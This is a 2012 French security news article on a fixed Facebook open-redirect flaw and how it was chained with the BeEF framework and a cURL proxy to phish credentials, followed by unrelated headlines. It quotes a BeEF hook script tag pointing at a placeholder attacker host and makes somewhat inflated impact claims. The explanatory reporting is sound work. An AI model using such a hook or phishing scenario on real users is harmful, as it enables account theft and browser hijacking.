Facebook a corrigé sa faille de redirection qui pouvait permettre le vol des identifiants. Explication et démonstration.
Facebook aura mis moins de 48 heures pour corriger la faille qui visait un "bug" dans son adresse Internet [voir]. La vulnérabilité, découverte par un internaute français du nom de P3lo, permettait de rediriger un internaute vers un espace piégé, un code malicieux [http://www.facebook.com/#//site piegé].
Nous allons vous démontrer que ce type de redirection n'est pas à prendre à légère. Comme nous avions déjà pu vous le prouver avec : La tribune, MSN, Google, Galerie Lafayette, Orange, Meetic, ...
P3lo, le découvreur de cette vulnérabilité a exploité, en plus de la faille Facebook, un outil pas comme les autres baptisé Beef (Boeuf). Beef est un environnement d'exploitation écrit en php. Il va coupler son environnement avec un serveur php comprenant la bibliothèque cURL, un code en php (ou exploit) qui permettait d'appeler Facebook sur son serveur et la redirection en question.
Beef, c'est quoi ?
Vous l'aurez compris, nous ne fournirons pas cet outil, ni un lien de téléchargement en raison de la législation française qui l'interdit. Beef est une application opensource qui permet de créer un environnement en php. Un environnement qui permet d'exploiter différentes failles de types XSS, injection html, et aussi de redirection. A noter que Beef est une application créée en 2007 par une équipe de chercheur en sécurité informatique. Un projet qui avait pour but de démontrer l'impact des failles de type Cross Site Scripting (XSS) sur le navigateur. Aujourd'hui, ce logiciel ne sert plus vraiment de démonstration dans certaines mains.
Beef, une sale vache
Grâce à Beef, et son vecteur d'attaque xss (le vecteur d'attaque est un script permettant de faire appel à Beef, sous la forme script src=http://sitedeboeuf/boeuf/hook/boeuf.js.php>) il est possible de transformer une victime en zombie. Vous l'aurez compris, un prise de contrôle totale de la machine, enregistrer les frappes claviers, envoyer arbitrairement du code, ...
Scénario de l'attaque Facebook
L'attaquant parle avec sa victime et doit le convaincre d'entrer ses données personnelles via la page du nouveau Facebook. Pour cela, une redirection lui a été envoyée. Une fois la victime piégée, le pirate reçoit les information en temps réel grâce à Beef. Cet outil exploite une bibliothèque cURL. Cette bibliothèque php permet de faire un appel au contenu d'une ressource accessible par un réseau informatique. Dans le cas de Facebook, cURL permettait d'appeler la page originale de Facebook directement sur le site du pirate. Bilan, une utilisation malicieuse de la fonction cURL couplée avec le vecteur d'attaque de Beef et la faille Facebook compromettait ainsi les 100 millions de membres du portail communautaire.
Ces dernières années, les attaques de Cross Site Scripting se sont développées et deviennent de plus en plus dangereuses pour nos ordinateurs et nos informations personnelles. Le moindre script malicieux écrit en javascript peut aboutir à un détournement, qui dépasse le simple vol de cookie classique.
Heureusement, il existe des protections. Pour se protéger des attaques de Beef, il existe Cback CrackerTracker.
Tweet
06-02-2012 à 19:16 - 0 commentaire(s)
INFO ZATAZ - L´Agence Nationale de la Sécurité des Système d'Information lance un recrutement fort sympathique pour les amateurs de chiffrement.
05-02-2012 à 10:43 - 0 commentaire(s)
INFO ZATAZ - Nouvelle tentative de vol de données bancaires appartenant aux clients de la banque française Crédit Agricole.
04-02-2012 à 11:42 - 0 commentaire(s)
INFO ZATAZ - Un document intéressant mis à jour sur Internet visant les sociétés souhaitant faire du business avec France Télévision.
04-02-2012 à 11:27 - 0 commentaire(s)
INFO ZATAZ - Une faille sur le site Wikileaks permet d´afficher n´importe quoi, donc de fausses informations, sur le portail international d´information.
04-02-2012 à 10:59 - 0 commentaire(s)
INFO ZATAZ - Un escroc se fait passer pour Coca Cola, sur Facebook, afin de mettre la main sur vos données privées.
04-02-2012 à 10:53 - 0 commentaire(s)
INFO ZATAZ - Depuis quelques heures, un escroc tente de louer de faux appartements en région parisienne. ZATAZ vous l´a délogé.
04-02-2012 à 10:21 - 1 commentaire(s)
INFO ZATAZ - Une conférence téléphonique entre FBI et plusieurs polices européennes, dont la France, au sujet des Anonymous, interceptée.
04-02-2012 à 10:05 - 1 commentaire(s)
INFO ZATAZ - Avec l´aide du CERTA, le site Internet de la ville de Chambéry bouche une fuite de données concernant les administrés de cette commune Française.
INFO ZATAZ - Une faille sur le site Wikileaks permet d´afficher n´importe quoi, donc de fausses informations, sur le portail international d´information.
INFO ZATAZ - Avec l´aide du CERTA, le site Internet de la ville de Chambéry bouche une fuite de données concernant les administrés de cette commune Française.
Des vulnérabilités ont été découvertes sur les sites RueDuCommerce, Darty et du journal ELLE. Prudence aux liens exterieurs.
INFO ZATAZ - Des Anonymous reprochent à d´autres Anonymous d'avoir piraté des sites appartenant à la mouvance d'extrême droite. Pour les punir, leurs identités sont diffusées sur la toile.
Les Anonymous diffusent sur Internet l´identités et des informations confidentielles de plusieurs centaines de policiers Français.
Info ZATAZ - Une vulnérabilité de type Cross-Site Scripting vise le portail communautaire MySpace.
INFO ZATAZ - Plusieurs vulnérabilités touchent le site économique américain Forbes. Les lecteurs peuvent être touchés directement.
INFO ZATAZ - Une méga fuite de données permettait d´accéder à une imposante base de données appartenant à la Mairie de Béthune.
Timeline : Vulnérabilité découverte par Aaron Sigel Publication coordonnée de la vulnérabilité le 12-10-2011 PoC Metasploit fournit le 16-10-2011 PoC fournit par : Aaron Sigel sinn3r Référence(s) : CVE-2011-3230 HT5000 Version(s) affectée(s) : Safari 5.1 pour Mac OS X v10.6.8 Sa [...]
Metasploit fournit des modules auxiliaires pour la base de données MySQL qui vous permettra de détecter la version du moteur de base de données, d’effectuer des attaques du type “brute force” au niveau de l’authentification sur la base de données, d’executer des requêtes S [...]
Metasploit fournit des modules auxiliaires pour la base de données PostgreSQL qui vous permettra de détecter la version du moteur de base de données, d’effectuer des attaques du type “brute force” au niveau de l’authentification sur la base de données, d’executer des requêtes SQL et li [...]
Timeline : Vulnérabilité découverte par Jason Bowes et soumise à ZDI Notification initiale de ZDI vers le fournisseur le 23-09-20102 Publication coordonnée de la vulnérabilité le 19-04-2011 PoC Metasploit fournit le 04-08-2011 PoC fournit par : juan vazque [...]